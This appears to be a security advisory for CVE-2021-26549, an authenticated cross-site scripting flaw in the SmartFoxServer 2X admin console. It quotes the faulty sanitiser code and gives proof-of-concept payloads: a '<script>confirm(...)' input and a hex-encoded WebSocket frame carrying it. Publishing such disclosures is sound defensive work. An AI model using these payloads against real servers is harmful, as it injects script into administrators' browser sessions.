SmartFoxServer 2X 2.17.0 God Mode Console WebSocket Cross Site Scripting

Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

SmartFoxServer 2X 2.17.0 God Mode Console WebSocket XSS Vendor: gotoAndPlay() Product web page: Affected version: Server: 2.17.0 Remote Admin: 3.2.6 SmartFoxServer 2X, Pro, Basic Summary: SmartFoxServer (SFS) is a comprehensive SDK for rapidly developing multiplayer games and applications with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal Windows Platform, Android, Java, C++ and more. SmartFoxServer comes with a rich set of features, an impressive documentation set, tens of examples with their source, powerful administration tools and a very active support forum. Born in 2004, and evolving continuously since then, today SmartFoxServer is the leading middleware to create large scale multiplayer games, MMOs and virtual communities. Thanks to its simplicity of use, versatility and performance, it currently powers hundreds of projects all over the world, from small chats and turn-based games to massive virtual worlds and realtime games. Desc: Authenticated Cross-Site Scripting was discovered. Input passed to the AdminTool console is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML code in a user's browser session in context of an affected site. ----------------------------------------------------------------- / ------------------------------ private String checkHTML(String data) { if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) { data = data.replaceAll("\\<", "&lt;"); return data.replaceAll("\\>", "&gt;"); } return data; ----------------------------------------------------------------- Tested on: Windows (all) 64bit installer Linux/Unix 64bit installer MacOS (10.8+) 64bit installer Java 1.8.0_281 Python 3.9.1 Python 2.7.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5626 Advisory URL: CVE ID: CVE-2021-26549 CVE URL: NIST URL: 29.01.2021 -- Typing payload: <script>confirm(document.URL) WebSocket payload: \x80\x00\x52\x12\x00\x03\x00\x01\x63\x02\x01\x00 \x01\x61\x03\x00\x0D\x00\x01\x70\x12\x00\x03\x00 \x01\x63\x08\x00\x0C\x63\x6F\x6E\x73\x6F\x6C\x65 \x2E\x68\x69\x6E\x74\x00\x01\x72\x04\xFF\xFF\xFF \xFF\x00\x01\x70\x12\x00\x01\x00\x01\x63\x08\x00 \x18\x3C\x73\x63\x72\x69\x70\x74\x3E\x63\x6F\x6E \x66\x69\x72\x6D\x28\x64\x6F\x63\x75\x6D\x65\x6E \x74\x2E\x55\x52\x4C\x29

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